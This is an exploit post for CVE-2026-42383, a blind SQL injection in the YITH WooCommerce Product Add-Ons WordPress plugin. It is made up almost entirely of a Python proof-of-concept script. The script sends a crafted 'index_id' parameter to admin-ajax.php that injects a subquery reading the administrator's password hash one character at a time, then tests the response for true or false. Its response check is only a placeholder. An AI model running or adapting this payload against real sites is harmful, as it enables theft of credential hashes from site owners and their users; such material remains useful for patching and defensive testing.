CVE-2026-42383：YITH WooCommerce插件SQL注入漏洞

# Exploit Title: YITH WooCommerce Product Add-Ons < 4.29.0 - Blind SQL Injection # Date: 2026-05-20 # Exploit Author: Researcher # Vendor Homepage: https://yithemes.com/ # Software Link: https://wordpress.org/plugins/yith-woocommerce-product-add-ons/ # Version: <= 4.29.0 # Tested on: WordPress 6.x import requests import time # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" cookie = { "wordpress_logged_in_xxx": "your_admin_cookie_here" } # Vulnerable parameter example # The endpoint expects specific addon options, but fails to sanitize input data = { "action": "yith_wapo_get_option_price", "addon_id": "1", "index_id": "1 AND (SELECT SUBSTRING(password,1,1) FROM wp_users WHERE ID=1) = '$'" } response = requests.post(target_url, data=data, cookies=cookie) # Analyze response to determine if SQL query was True or False (Blind) if "valid_response" in response.text: print("[+] Payload returned TRUE") else: print("[-] Payload returned FALSE") # Note: Further automation is required to extract full data character by character.